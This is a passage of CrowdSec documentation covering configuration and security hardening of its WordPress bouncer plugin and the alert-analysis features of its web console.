cache lifetime` The lifetime of cached captcha flow for some IP. If a user has to interact with a captcha wall, we store in cache some values in order to know if he has to resolve or not the captcha again. Minimum 1 second. Default: 86400 seconds. *** `Caching configuration โ†’ Redis DSN (if applicable)` Fill in this field only if you have chosen the Redis cache. Example of DSN: redis\://localhost:6379. *** `Caching configuration โ†’ Memcached DSN (if applicable)` Fill in this field only if you have chosen the Memcached cache. Example of DSN: memcached://localhost:11211. *** ![AppSec](/img/bouncer/wordpress/screenshots/config-appsec.png "AppSec") *** `AppSec component โ†’ Enable AppSec` Enable if you want to ask the AppSec component for a remediation based on the current request, in case the initial LAPI remediation is a bypass. Not available if you use TLS certificates as authentication type. For more information on the AppSec component, please refer to the [documentation](https://docs.crowdsec.net/docs/appsec/intro/). *** `AppSec component โ†’ Url` Your AppSec component url. Default to `http://localhost:7422` *** `AppSec component โ†’ Request timeout` Maximum execution time (in milliseconds) for an AppSec request. Set a negative value to allow unlimited timeout Default to 400. *** `AppSec component โ†’ Fallback to` What remediation to apply when AppSec call has failed due to a timeout. Recommended: `captcha`. Default: `bypass`. *** `AppSec component โ†’ Maximum body size` Maximum size of the request body (in KB). Default to 1024. If exceeded, the action defined below will be applied. *** `AppSec component โ†’ Body size exceeded action` Action to take when the request body size exceeds the maximum body size. Default to `headers_only`. * `Headers Only`: (recommended) Only headers of the original request are sent to the AppSec component. The body is not sent. * `Block`: The request is considered as malicious and a ban remediation is returned, without calling AppSec. * `Allow`: (not recommended): The request is considered as clean and a bypass remediation is returned, without calling AppSec. *** ![Remediation](/img/bouncer/wordpress/screenshots/config-remediations.jpg "Remediation") *** `Remediation โ†’ Fallback to` Choose which remediation to apply when CrowdSec advises unhandled remediation. *** `Remediation โ†’ Trust these CDN IPs (or Load Balancer, HTTP Proxy)` If you use a CDN, a reverse proxy or a load balancer, it is possible to indicate in the bouncer settings the IP ranges of these devices in order to be able to check the IP of your users. For other IPs, the bouncer will not trust the X-Forwarded-For header. *** `Remediation โ†’ Hide CrowdSec mentions` Enable if you want to hide CrowdSec mentions on the Ban and Captcha walls. *** ![Geolocation](/img/bouncer/wordpress/screenshots/config-geolocation.jpg "Geolocation") *** `Geolocation โ†’ Enable geolocation feature` Enable if you want to use also CrowdSec country scoped decisions. If enabled, bounced IP will be geolocalized and the final remediation will take into account any country related decision. *** `Geolocation โ†’ Geolocation type` For now, only `Maxmind database` type is allowed *** `Geolocation โ†’ MaxMind database type` Choose between `Country` and `City`. *** `Geolocation โ†’ Path to the MaxMind database` Absolute path. **Make sure this file is not publicly accessible.** [See security note below](#security). Example: `/var/crowdsec/geolocation/Geoloc-country.mmdb` folder. *** `Geolocation โ†’ Geolocation cache lifetime` The lifetime of cached country geolocation result for some IP. Default: 86400. Set 0 to disable caching. Enabling this will avoid multiple call to the geolocation system (e.g. MaxMind database) *** ![Debug](/img/bouncer/wordpress/screenshots/config-debug.jpg "Debug") *** `Debug mode โ†’ Enable debug mode` Enable if you want to see some debug information in a specific log file. When this mode is enabled, a `debug.log` file will be written in `wp-content/uploads/crowdsec/logs` folder. **Make sure this path is not publicly accessible.** [See security note below](#security). *** `Debug mode โ†’ Disable prod log` By default, a `prod.log` file will be written in `wp-content/uploads/crowdsec/logs` folder. **Make sure this path is not publicly accessible.** [See security note below](#security). You can disable this log here. *** `Debug mode โ†’ Custom User-Agent` By default, User-Agent used to call LAPI has the following format: `csphplapi_WordPress`. You can use this field to add a custom suffix: `csphplapi_WordPress[custom-suffix]`. This can be useful to debug crowdsec logs when using multiple WordPress sites with multiple bouncer plugins. Only alphanumeric characters (`[A-Za-z0-9]`) are allowed with a maximum of 5 characters. *** `Display errors โ†’ Enable errors display` When this mode is enabled, you will see every unexpected bouncing errors in the browser. Should be disabled in production. *** ![Standalone and Test](/img/bouncer/wordpress/screenshots/config-standalone-and-test.png "Standalone and Test") *** `Auto prepend file mode โ†’ Enable auto_prepend_file mode` This setting allows the bouncer to bounce IPs before running any PHP script in the project. **Make sure the generated `standalone-settings.php` file is not publicly accessible.** [See security note below](#security). *** `Test settings โ†’ Forced test IP` This Ip will be used instead of the current detected browser IP. **Must be empty in production.** *** `Test settings โ†’ Forced test X-Forwarded-For IP` This Ip will be used instead of the current X-Forwarded-For Ip if any. **Must be empty in production.** ### Security[โ€‹](#security "Direct link to Security") Some files used or created by this plugin must be protected from direct access attempts: * The `standalone-settings.php` file created in the `wp-content/plugins/crowdsec/inc` folder for the [Auto Prepend File](#auto-prepend-file-mode) mode * Log files are created in the `wp-content/uploads/crowdsec/logs` folder * Cache files of the File system cache are created in the `wp-content/uploads/crowdsec/cache` folder * TLS authentication files are located in a user defined path * Geolocation database files are located in a user defined path **N.B.:** * There is no need to protect `standalone-settings.php` file if you don't use `auto_prepend_file` mode. * There is no need to protect cache files if you are using Redis or Memcached cache systems. * There is no need to protect log files if you disable debug and prod logging. * There is no need to protect TLS files if you use Bouncer API key authentication type. * There is no need to protect geolocation files if you don't use the geolocation feature. #### Nginx[โ€‹](#nginx "Direct link to Nginx") If you are using Nginx, you should add a directive in your website configuration file to deny access to these folders. For log, cache and standalone setting files, this could be done with the following snippet: TEXTCOPY ``` server { ... ... ... # Deny all attempts to access some folders of the crowdsec plugin location ~ /crowdsec/(cache|logs|inc/standalone-settings) { deny all; } ... ... } ``` #### Apache[โ€‹](#apache "Direct link to Apache") If you are using Apache, the plugin root folder already contain the required `.htaccess` file to protect log,
cache and standalone setting files: HTACCESSCOPY ``` Redirectmatch 403 wp-content/uploads/crowdsec/logs/ Redirectmatch 403 wp-content/uploads/crowdsec/cache/ Redirectmatch 403 wp-content/plugins/crowdsec/inc/standalone-settings ``` ### Auto Prepend File mode[โ€‹](#auto-prepend-file-mode "Direct link to Auto Prepend File mode") By default, this extension will bounce every web requests that pass through the classical process of WordPress core loading. This implies that if another php public script is called (any of your custom public php script for example) or if you are using some plugin that bypass the WordPress core load process (as the [WP Super Cache plugin](https://wordpress.org/plugins/wp-super-cache/) in Simple mode for example), bouncing will not be effective. To ensure that any php script will be bounced if called from a browser, you should try the `auto prepend file` mode. In this mode, every browser access to a PHP script will be bounced. To enable the `auto prepend file` mode, you have to configure your server by adding an `auto_prepend_file` directive for your php setup. **N.B.:** * In this mode, a setting file `inc/standalone-settings.php` will be generated each time you save the CrowdSec plugin configuration from the WordPress admin. **Make sure this file is not publicly accessible.** [See security note above](#security). * This mode requires to have the plugin installed in the `wp-content/plugins/crowdsec` folder. This is the default installation folder of WordPress plugins. Adding an `auto_prepend_file` directive can be done in different ways: #### PHP[โ€‹](#php "Direct link to PHP") You should add this line to a `.ini` file : auto\_prepend\_file = /wordpress-root-directory/wp-content/plugins/crowdsec/inc/standalone-bounce.php #### Nginx[โ€‹](#nginx-1 "Direct link to Nginx") If you are using Nginx, you should modify your Magento 2 nginx configuration file by adding a `fastcgi_param` directive. The php block should look like below: TEXTCOPY ``` location ~ \.php$ { ... ... ... fastcgi_param PHP_VALUE "auto_prepend_file=/wordpress-root-directory/wp-content/plugins/crowdsec/inc/standalone-bounce.php"; } ``` #### Apache[โ€‹](#apache-1 "Direct link to Apache") If you are using Apache, you should add this line to your `.htaccess` file: php\_value auto\_prepend\_file "/wordpress-root-directory/wp-content/plugins/crowdsec/inc/standalone-bounce.php" ### Multisite usage[โ€‹](#multisite-usage "Direct link to Multisite usage") If you are using the [`multisite` WordPress feature](https://wordpress.org/documentation/article/wordpress-glossary/#multisite), the bouncer plugin has to be network activated and configurations will be used for all sites of the network. This means that every individual site on your network will be protected by the bouncer with the same settings. #### Differences with a single installation[โ€‹](#differences-with-a-single-installation "Direct link to Differences with a single installation") In a WordPress multisite installation, `CrowdSec` configurations are accessible via the `My Sites -> Network admin` left panel. ![Multisite admin](/img/bouncer/wordpress/screenshots/admin-multisite.jpg "Multisite admin") Settings are stored in the `wp_sitemeta` table instead of the `wp_options` table for a single WordPress installation. ### Resources[โ€‹](#resources "Direct link to Resources") Feel free to look at the [associated article](https://crowdsec.net/wordpress-bouncer/) for more configuration options and tweaks. ## Installation[โ€‹](#installation "Direct link to Installation") ### Add the plugin[โ€‹](#add-the-plugin "Direct link to Add the plugin") The component itself can be installed from the marketplace in WordPress back-office. Installing the CrowdSec WordPress plugin is as easy as installing any other WordPress plugin: * Click `Plugins` in the left navigation on your siteโ€™s dashboard. * Type `CrowdSec` in the text field to the right. Hit enter. * In the CrowdSec plugin click `Install Now` * Once installed click `Activate`. ### WordPress Marketplace[โ€‹](#wordpress-marketplace "Direct link to WordPress Marketplace") You can find this plugin on the [WordPress Plugins Marketplace](https://wordpress.org/plugins/crowdsec/). ## Technical notes[โ€‹](#technical-notes "Direct link to Technical notes") We explain here each important technical decision used to design this plugin. ### How to use system CRON instead of wp-cron?[โ€‹](#how-to-use-system-cron-instead-of-wp-cron "Direct link to How to use system CRON instead of wp-cron?") Add `define('DISABLE_WP_CRON', true);` in `wp-config.php` then enter this command line on the WordPress host command line: SHCOPY ``` (crontab -l && echo "* * * * * wget -q -O - http://:/wp-cron.php?doing_wp_cron >/dev/null 2>&1") | crontab - ``` > Note: replace `` with the local url of your website More info [here](https://developer.wordpress.org/plugins/cron/hooking-wp-cron-into-the-system-task-scheduler/). ## Developer guide[โ€‹](#developer-guide "Direct link to Developer guide") See [Developer guide](https://github.com/crowdsecurity/cs-wordpress-bouncer/blob/main/docs/DEVELOPER.md) ## License[โ€‹](#license "Direct link to License") [MIT](https://github.com/crowdsecurity/cs-wordpress-bouncer/blob/main/LICENSE) --- # Alerts Analysis ## Introduction[โ€‹](#introduction "Direct link to Introduction") A series of filters is available to assist in navigating alerts efficiently and identifying critical issues quickly. These tools are designed to refine searches and allow sorting of alerts by severity level, type of incident, date, and more. Customizing the experience saves time and enables focusing efforts where they are most needed. ![Alerts Analysis](/assets/images/analysis-571acb3741490f96df2a6ca83f6c65cd.png) ## Filters[โ€‹](#filters "Direct link to Filters") The filters enable sorting and refining of displayed results according to various criteria. Applying a filter changes the Visualizer and the Alerts table. These are accessible from the top of the page. ### Available filters[โ€‹](#available-filters "Direct link to Available filters") The following filters can be applied to customize the display of alerts according to user needs: * **Source IP**: Look up a specific IP address to see alerts or set a range of IPs to filter the necessary alerts. * **Source AS**: Check one or more Autonomous Systems. * **Source Country** * **Behaviors**: Find the list on the CrowdSec Hub. * **Attack Scenarios**: Get the list from the CrowdSec Hub. * **Security Engine Names or Tags** * **CVE**: Check related [CVE](https://nvd.nist.gov/vuln) vulnerabilities. * **MITRE** Techniques: Look at related [MITRE techniques](https://attack.mitre.org/). * **Dates**: Choose a time frame. The alerts depend on the organization planโ€”from 7 days with the community plan to one year with the Premium plan. --- # Alerts Context In specific scenarios, there might be a lack of context in alerts due to centralizing logs on one server. CrowdSec does not store raw log information after processing is completed. Additional data can be included within an alert using the alert context feature. Configuration can be done using the provided [documentation](https://docs.crowdsec.net/u/user_guides/alert_context.md). ## Usage[โ€‹](#usage "Direct link to Usage") By default, the column that displays alert contexts through tags is hidden to maintain a clean and focused interface. This column can be enabled for those wishing to view all contextual tags associated with each alert for a more detailed overview. Instructions for enabling this feature are as follows: ![Alerts Context](/assets/images/alerts-context-460ad76ed215b978867a84453df73fcb.png) ![Alerts Context](/assets/images/alerts-context-2-886a78dd3dc06e4a711b6f58ed369d57.png) Now, the Alerts Table will refresh to display the selected column, providing a comprehensive view of all contextual tags associated with each alert and enhancing the ability to monitor and respond to security threats effectively. ### Comfortable mode[โ€‹](#comfortable-mode "Direct link to Comfortable mode") Comfortable View Mode expands the view of each alert to display all associated tags inline. This mode provides a more comprehensive, at-a-glance understanding of each alert's context without navigating each alert individually. To activate Comfort View Mode, toggle the "Comfort View" switch above the Alerts Table or in your user settings. Once activated, the Alerts Table will refresh to display all tags associated with each alert directly in the table's view. ![Alerts Context](/assets/images/alerts-context-comfort-264c6fed9c763e4e0f4f4bde0394b185.png) ![Alerts Context](/assets/images/alerts-context-comfort-2-722bed8138173a5e7725a839b4438b3a.png) ### More filtering[โ€‹](#more-filtering "Direct link to More filtering") Filtering alerts by context is a powerful feature that enables the focus on alerts that are most relevant to current security concerns. * **Direct Filter**: A filter based on that tag is applied by clicking on a tag in the Alerts Table. The table immediately updates to display only the alerts associated with the selected tag. * **Exclude Filter**: To exclude alerts associated with a specific tag, clicking on the tag and selecting "Exclude" from the menu will update the table to show all alerts except those associated with the excluded tag. * **Copy Tag Value**: For purposes such as reporting or further investigation, the value of a tag can be copied by clicking on the tag and selecting "Copy Context Value". This action copies the tag's text to the clipboard. ![Alerts Context](/assets/images/alerts-context-filter-f619bf01a0dad2e742f102fd1aba130a.png) --- # Background Noise Filtering ๐Ÿ… CrowdSec Premium Feature The back noise filter is designed to eliminate irrelevant background sounds, enabling users to concentrate on important alerts. ### Introduction[โ€‹](#introduction "Direct link to Introduction") We define Background Noise (BN), sometimes also referred to as โ€œInternet Background Radiationโ€ is an automatic and mild attack perpetrated on a large scale, without a specific target, at a constant pace over time. It includes, for example, mass scanning or brute-force attempts on popular services and is not specific to one domain or infrastructure in particular. Get more information [there](https://www.crowdsec.net/blog/background-noise-filter-available-crowdsec-console). ### Activate Noise cancelling[โ€‹](#activate-noise-cancelling "Direct link to Activate Noise cancelling") Adjacent to the filter options, you'll find a "Reduce Noise" toggle. Activating this **will filter out the noise, isolating alerts most likely irrelevant to your specific context**. In the following example, a significant portion of alertsโ€”74.14%, to be preciseโ€”fall into this category of background noise. By enabling this feature, **we can concentrate our efforts on the remaining 25.86% of alerts, which are more likely to target your network or system directly**. ![Background Noise Filtering](/assets/images/background-noise-activate-476d6ab78460619b82fca9d3fa68cb70.png) This targeted approach ensures you're not overwhelmed by the volume of information and can allocate your resources more efficiently towards mitigating threats that pose a real and immediate risk to your security. Engage with this feature to transform your alert management strategy, focusing on precision and relevance over quantity. ### Customizable Noise Filter Settings[โ€‹](#customizable-noise-filter-settings "Direct link to Customizable Noise Filter Settings") The ability to fine-tune your alert systemโ€™s sensitivity to background noise is a game-changer in cybersecurity monitoring. Our customizable noise filter settings give you control over what you deem relevant. * **Low Cancellation**: Setting the filter to a lower sensitivity allows all alerts, including the most widespread, to be visible. This setting ensures you miss nothing, providing a broad security net. * **High Cancellation**: Increasing the filterโ€™s sensitivity sharpens your focus on alerts from IPs directly targeting your network. This refined approach is critical for those who wish to concentrate on direct threats, significantly reducing the volume of alerts to those with the highest relevance. ![Background Noise Filtering](/assets/images/background-noise-finetune-96225cbb6feaaf118fbda9c6845aa3aa.png) Our analysis found that alerts holding less than 50% noise are the most valuable. This sweet spot ensures you are alerted to potential threats with a high likelihood of impacting your network directly, allowing for a more strategic and efficient response to cyber threats. --- # Introduction On the Alerts page, a comprehensive list of all alerts triggered by Security Engines is provided. This page is designed to offer insights into the types and frequency of cyber attacks targeting your systems, as well as understanding the specific times these incidents occurred. Users are encouraged to stay informed about the digital security landscape by navigating through detailed reports of each alert. The data available is crucial for empowering analysis and response strategies, paramount in safeguarding online presence. The space is continually enhanced to better serve security needs. ![Alerts](/assets/images/page-252a56f43701f7305cbb1718e02ae6ff.png) --- # Quotas At CrowdSec, we're committed to providing a range of cybersecurity solutions tailored to meet the needs of diverse users, from individual enthusiasts to large organizations. Our pricing plans, including the Community and Premium options, are designed to scale with your requirements, ensuring you have the tools and capabilities to monitor and respond to threats effectively. ### Community Plan: Starting Point for Cybersecurity Monitoring[โ€‹](#community-plan-starting-point-for-cybersecurity-monitoring "Direct link to Community Plan: Starting Point for Cybersecurity Monitoring") Our Community Plan is designed as an entry point for users beginning to explore the vast cybersecurity landscape. With this plan, users are entitled to: * **500 first alerts of the month**: Receive up to 500 alerts per month, with the quota resetting on the 1st of every month. This allows organizations to stay informed about potential threats to their network. * **2 Months of Retention**: Access alerts from the last two months, within the 500-alert limit per months. This ensures you can review and act on recent alerts while staying within your quota. This plan is ideal for individual users or small teams looking for essential monitoring tools without the need for extensive historical data retention or a high volume of alerts. ### Why Upgrade to Premium? ๐Ÿ…[โ€‹](#why-upgrade-to-premium- "Direct link to Why Upgrade to Premium? ๐Ÿ…") Transitioning to our Premium Plan unlocks a suite of advanced features and capabilities designed for users who require more robust cybersecurity monitoring and analysis. * **Custom Alert Quotas**: The Premium Plan allows custom quotas for alerts, scaling up to several million depending on the needs. This ensures that your monitoring capabilities grow with your network, no matter how extensive it becomes. * **Extended Retention Periods**: With up to a year of data retention, the Premium Plan enables long-term analysis and pattern recognition. This extended period is crucial for identifying trends, understanding the evolving nature of threats, and fine-tuning the security posture over time. ### The Value of More Quotas and Longer Retention ๐Ÿ…[โ€‹](#the-value-of-more-quotas-and-longer-retention- "Direct link to The Value of More Quotas and Longer Retention ๐Ÿ…") More quotas and extended retention periods are essential for several reasons: * **Comprehensive Monitoring**: A higher quota allows for broader monitoring, alerting to various potential threats. This is particularly important in complex or dynamic network environments with numerous and varied threats. * **Long-Term Security Insights**: Longer retention periods enable the analysis of data over time, identifying trends and patterns that may not be apparent in shorter data sets. This insight is invaluable for predicting future threats and strengthening defenses. * **Adaptability**: As your network grows, so does the volume of potential alerts. A plan that offers custom quotas ensures that your cybersecurity system can adapt to your changing needs, providing consistent and effective monitoring. * **Strategic Planning**: Access to historical alert data aids in strategic security planning, allowing you to allocate resources more effectively and prepare for potential future threats based on past patterns. Understanding the limitations of the Community Plan is crucial for setting realistic expectations regarding alert volume and retention. If you frequently approach or exceed these limits, it may be time to consider upgrading to our Premium Plan. ### Monitor usage[โ€‹](#monitor-usage "Direct link to Monitor usage") The quota is readily accessible on the **"Billing and Plans"** page in the organization settings, located within the **"Usage"** section. ![Quotas](/assets/images/quotas-046ef5fc40da090c9ec15992ddcdc5c2.png) --- # Visualizer ## Introduction[โ€‹](#introduction "Direct link to Introduction") The alerts page will provide a detailed analysis of the threats to your network. Here, we are going to talk about the Visualizer. It offers two main perspectives: a Summary view and an Extended view. ## Usage[โ€‹](#usage "Direct link to Usage") ### Summary View[โ€‹](#summary-view "Direct link to Summary View") The **Summary** view presents a synthesis of critical information that allows for quick identification of trends and essential points of network security: * **Most Active IPs**: Identify the IP addresses that generate the most alerts. * **Common Attack Scenarios**: Discover the most frequent types of attacks and the tactics used by attackers. * **Target Security Engines**: Specify the Security Engines that are the focus of the attacks. * **Source AS**: Determine the Autonomous Systems responsible for originating the network traffic. ![Alerts Summary](/assets/images/visualizer-summary-c8087e2eaef65d110bad6a7f274cf953.png) ### Extended View[โ€‹](#extended-view "Direct link to Extended View") The **Extended** view provides in-depth analysis through interactive visualizations. Each section displays the top ten in each category. Opening the bar chart will display all related info. ![Alerts extended](/assets/images/visualizer-extended-1869fb2471eea2e97cc5337595b3a409.png) ### Good to know[โ€‹](#good-to-know "Direct link to Good to know") Numerous items on the page have multiple actions available when clicking on them. For example, clicking on an IP can: * **Open the CrowdSec CTI** to get more information related to IP behavior on our network * **Filter** on all the alerts triggered by this IP alone. * **Exclude** this IP from the current page filters. Helpful when doing tests and your IP could be displayed. * **Copy** the following IP in your clipboard. ![Alerts actions](/assets/images/visualizer-actions-102fb22fc8c55288d98828adcd3238fc.png) ### Navigation[โ€‹](#navigation "Direct link to Navigation") Navigation through the view can be easily accomplished using the button above. ![Alerts actions](data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAXkAAABDCAIAAAD29+IVAAAAAXNSR0IArs4c6QAAAERlWElmTU0AKgAAAAgAAYdpAAQAAAABAAAAGgAAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAABeaADAAQAAAABAAAAQwAAAAC256HbAAATEUlEQVR4Ae1dB1gU1xamg3QBG4oSEURFRKRKU6xY0eT5NCZGY2KLeSnGGPVFUVGIxBKJLRpbNCTG50Njw95RRFAjKiBSBUX60mHh/evoZN8szMKyriuc+fYb7px77rl3/rnzz7nn3hlUzS37qNBGCBAChMArRkDtFdsn84QAIUAIiBAgrqF+QAgQAopAgLhGEShTHYQAIUBcQ32AECAEFIEAcY0iUKY6CAFCgLiG+gAhQAgoAgHiGkWgTHUQAoQAcQ31AUKAEFAEAsQ1ikCZ6iAECAHiGuoDhAAhoAgEiGsUgTLVQQgQAsQ11AcIAUJAEQgQ1ygCZaqDECAEWi7XqKup0+UnBAgBhSGgobCalKQiA0NDUxMTfQN9bS0tVdVmS7XFxcUdBO8oCeZvVjMEHU68WQ1+La2tra2tqKwQFAlycnNKiksa0oYWxDVwZCw6dzI0MsrNyU1NSa2qqmoIQG+ojp2dnYrgDW37a2723bt3X3ML3oTqVVVVtbW19fX1raysCguLUlNSpLa62T7YOWcOounWzUpNVT0hPiE3N7d5Ew3n3OmQEJA7AvBrysvLc3JyEhMS1dXUbGxspFbRUrgGHk1VVXVmVqZUREiBECAEGo4ASCczM7O6urqLpSV/qRbBNQYGBhg6EdHwdwXKJQRkRiArK8vIyFBPX4/HQovgGlNTE8RoeFCgLEKAEGgKAvBu8nLzzMza8BhpEVyjb2BQVFTEgwJlEQKEQBMRwNSngYE+j5HmzzVqamqY3qZgME8noCxCoOkIVFRUaGtpq6jU1meq+XNNjVDYjNfR1HddSU4IKBgBDKMwEV4/1dD/UVDwBaHqCIGWikDz92ta6pWl8yYElAuBermmY0fzGdOntWvLDSy3NjZm5C7O/aZNmVzf2SBKAjX73nZQ6G3Xc+KEOtbL16kjLqzPuCLlLs59d/+8gf3Nnf2hImunupQfAfQN5W+kMrSwXq7B4tq+DvYj/IZxWjl0iC/k+QWFvXr2cHVx5uSyhxi5OfbtAx1IbKytPT3c2Sw2UaeOuBCaXh793V1d2CIKTqAbuTj1/WD6v9gfGtAQuhk00LO7jRXbWltba3s7ERTNe+tsbejh19GwtVbzPk05np2xsdGcWVOHDx2IDsP8Opq3l6N9jimLTuauLo4coeShvr4eGqOhIecXmOo1V15e8SAh0dGhz649+xD1YRvk7uoad/9BZWXlzt178WPlnIRQKJw193OOkHNYpw5HON5/zK3bdyKvR3HKKuAQnLJxy86oG7Hidf24eQfj6YB9xOWc9I8/BNXU1HgPGpebm4esoBWLcP2G+E3gqCnhoVUvY/wkG3Zyf4qkUFwyf71L2066wuoa/+nWWWkla7+8IZ7bYtPoRVHRsZxexKIxwLv/p3Om4xC9hRHu2BW2Zv0WVkG+idkzp44aMdi+ny+/WQf7XujA/u9MjU9I4tdsVG69XAMrJ0+e7vHpHNDNzdhbjNHuNtY6OtoRJ0/jED5LT9vufxwMRxoDK7gfNtbd4hMSr167XlBQCOHkSROuR0U/THrElG3bpo2XZ//OFp3u3X9w8fKVsrJySR1GkykorKkZ4O3ZqpWOu5uLmrpaWnpGKx0dTF1HnDrDqCELQ7OTp8/m5eUZGRrh1YxqoZDJavqecV44XQQsA8sQwtlBmpPLqRSDwU0bgv45eSZHrvyHSXEFjW2ktX1rEM3edfduX8m2dTSdvqh3X692sZeeNtZOM9OvsxdJniMeQhmPsyTlzUzCxzX34xPACEMG+7JcM3Swb2lpaeJDEdvZdrfx8fEC12ioqy/998Kq6qpHj5KHDPLFb96CReBpz/7uIB2Ga6Dz7aKvq6uFKD5u7GhvT48ly1fChRHXYZFlhMkpqW3MzBghEniXVEND3XfA8GtRN5CGfNDAAS5O/X7f/59/jB8HpgtavSY1LZ010sSEs5MDx3MRd2fg3WB4xc81Ikpy7jtksM+p0xfYxgz08Vi2ZL6paevCIkHoj9vD9ocPHeyzOmjJ/gOH//H2KLiPu/fu/yF0G15m2751rWNfe8whRt+8/dGseexzjzX1ihIyEA1aUlIkemnewaNtXFTOg5jcPSFx+c/K3YeZj55itWjyJWQNHNd5oH/nJR9cnjCnu6WtUWlxtYWVQVF+5YGt8eM/tjE21c7JKtvwzc2KcmFQmPetK9m9nM20tNWiLzwtL6nuP8wcfvWp/SnnD6Xb9DEZP8PapK1OcWHVoZ0PQW3wp4qLKttb6KFGXX3N3KdlW5fdRo2zAhwMjLVCPleoR4wrjucQugcagLRkL4Jc6rZqxaIhg7xH+b9fVl4ecSTs+o3YY8dPo5OcPXdpkK93TY0w7Pfw1Ws2ws76NSu8PFy1tDRvxtyZ+tFndfYl5O7dtbGHrXVxcUlubj5Te50dLHDZNyP9BkHh9p17Uhspg0K98RrG1pXIa5ZdOuvp6uJQU1OzZw/bi5evcqpBFBnODoZam3/6OSBwVV5+fpcunTk6OLx6LeqL+d8sXrp828+78NLAYN8BkjriErg/q9esB9lFXotC4mD44aPHIjCaG+U3nFHz8fbEKK+0rCzu3v2bMbEFhSJn6hVtLNHw84t47WfPX056lBocuJgd92IovnFDEFyzwFXrsrNzlvx7HgbPWGqpra01YrhvYND6jMeZM6a/h86xdVMIatyxO2zz1t1urv2CVy4Wt/xK0xhADZ1gKfnjrzQzpfhuVI6di9mqX72/+N4JN3zGI4GunqamtjpTUM9AU0dX9GDTN9JqY65bXVnz3+2JiOx8tNg++X7h0V+S4BaBj6CgoanmNKB9xG/JaYkC10EdQFjhOx4KCiqHTXwLuZP+ZSusrt0RdLeqsmb0B1aQ6Blpdu1pjFEbRnkP4wqs7FqjLl0Dza69jO/HKPrFFCZOzO45jyu0ts7t+J+/RkdGMD90ksCgdXCK9+zYsGv7D7izvl0azHQSNzen9aE/paY9nvbBRG8v90kT/EEukASH/IiOhKda3X1pY4hdL9uD4cciTp23srJkGiDZwd6f/M7b40aCZX7avtepX58629lEIZ9fA9OnzpwFKQwc4H3k2AkPd1cEbs+cPc+pEt4EGOGTWR/HxN4CE61Y9R1HgTlkxz7wkqYJhdbW3VhJnfqSwpLS0r/u3nNzdQ7bf6DrW5YG+vpHjh6HGgyynpdkqaZLZCAaptLZc7+OOPrbymXfMIdjxwwHgDM+mZ+UlHLoiKhv4epej4pB7qIlwRcvRZaWla9dHdCpo7m7mxN6W+9etshCETeXfowFxexlc212r77brpPe0H9a9nQyBd3gkKe1WwJEo3KfsRam7XR+C72P9LBJb5lbvljhDva5cvzxk/QS+CaREZlRZ7L0DDVHTO4KtRUfR3qO6IgINFwbNopYI6zdslRkMDW+CDwFUwgbYQFrxO8pECpsEwX4Nu+EU4PE/TuXGkg0aN4fB488fZLNtDM3rwDfavh49rx9uzdBMuXDTwUvv0QVsDzk5OkLf/znzxtXT4wcPmjB4sDYO3HvTRxv83wWwsfLPfbWXyjC6Uv2vXsmPkxeujwEWSAdG2sRjJIdrKN5BzwF4RwhV1NTA5EdVTUpjgg0G7VJ4RqMVtIzMrw9+4NrfAf6pKSmCYqLJStYtCQAAxnHvg5O/RwfZ2YFh6zlvBMAf6Sg4O8oQGlJiaE+36sTklUwkoOHDgf0Xujl4Y7Z9MLCwqRHyfVpyksuM9GgAekZmb/tD584wT8nJ6+islJHGyu4VTIyMrEvLS3DEBJfG2LaeecvkddaWVHBHIJfkMBHMLA/f+EqIGXkCtjLRjT+H1pbWBuELoz5ZU2currq8j2ePmMsHsSI4uLMhnHTy6RKRdmLsFptTS2GToy8FuTwcou7kYNkTbVoRgLukigtfDE7sWiLG9wWWM7PLjduo8OUSE148bJbiaAqLbHI0bsd9B/eLaiqkFv8jqmIZ8+EZpjRE/ZMgkdfPGvHzl858Rp4KIxCjfBvXDDuhhCTNribQAejRgwJCV6C8G30zVu97XowfQYKnL4EtxqBC8Yaeh2TkOxgGLAjxMHksuzGHMprL526Tp05Z2ho6GDfG8HdU6fPSlaMkPAAb689+8I+/2rBD6GbQJCInnDUcG697XoxQuAIg0nJDaUJFkQUf/LkaXrG41Ej/TCaO3nmHKcWOR5iBorpPbCJBxRn6ISsG9GiB6nUDSMjgaC4TRtTaMKXwX7ThmAMIQMDFqATHH4ukTTyV9wDkPWBg38uC/ze0tIiL/9vmpZUlq9EtjHUzYtPMeH97mc94Np072uiqaWGUU9hvog6QTogmi42hk1vJ0ZGRiba105lhu9ING4Dmn5BQOKWj+5J0tZRb6WncWS3KKqosA2hmUbxi3jDrLt1ZX8mrY2xqC103Uo4vCmp6du2rNHVbcUorwhY4NDHDjEa3BGnzl56e/yoysqq96Z+8ig5TdwaJw0jYCL/MX5jRg9DI5lcyQ4WeS0aky3zv5zTz7HPnJlTOUbkcijFr0Ed0Tdj33934qwZ09H7Y26Jom6craysbOzokXhEnzl3XkNTZNDQwICjg8Op708+cuw4HCX/MQiC1l6NvC6pIyl5mp2NCS+gj7gMblooHDp8ZO6cmUhcvHSF0fdwd/P28kAYKCdXbuNzkMsns6bBqeGwDGqEEHupHYvx8BHT/fLrgO1b1qAIhk7BIaHzPp91+dwhODW/7Dtw5uylcWP9mLNg9ygyfcYX//1jJ+YdIUxLy/h5569srgISMrg26Q+LLhxOdxrYHtNPuLjZj0v3b4yvrq7xe7frqClW8DIeJxezQ6QGnkJNDZdKSgVVj+4VeI7o5OHXqTC3wthMGz4Ux1rygxdhO4SQOFmv9LDhIybJZmwKDWaFcGNtu3erqKicMecrfBHmbMSBndvWY+oACvgeVdgvmwEvRlLHT5zJzs7ZuW0dxlPwVqAPkpKcQIBk5pyvwg/sCgoUTdfAe2rX1gymJDsYnOj+bk4fTp2EX0LiIwy1al9Ow7Nta2JC1dxSehwI64OxbA/sAOeFre/tcWMRx5n72TxIkMaiO8SxAATmj9asD8W9tDl0HUZeR48jKjEWsZ64ew/6OTogDIHgzr6w36NjYlFQXIe1xgqhYNer58yPpiEsjXEEEwl6Ppe8Nj+/YOG3AVDANmXyJHhSq777HvPijOT/9rW1Ts7Osn1EVtwxZmxCItvkgniT4OY8eyadFpkHGuv3iluQmrazszPIehFEl6osRwU4FOWlQnQD1iYmg+DjsIdNTyDGXF1Vg1+dptp31pu31vngTwmRJ0VjVRm2yNzvG1UKkeCmEE1D6kJcD5NE7t6joIzpJJAOW0r0babna7hYSZ0JqOGW4ZCRZAfDKjCMpBAwqtOIVCF6XfSNGwgx1qnZIK6ps6SkEDQM14NzPuJqoAlMadUZ8RFX46ThMZqZmeLrGCApZIHUsABn6fKVT7OfcTTrPmwC18AgQy6sZcnVfWyWUiVeF9e8dhBmLu2DI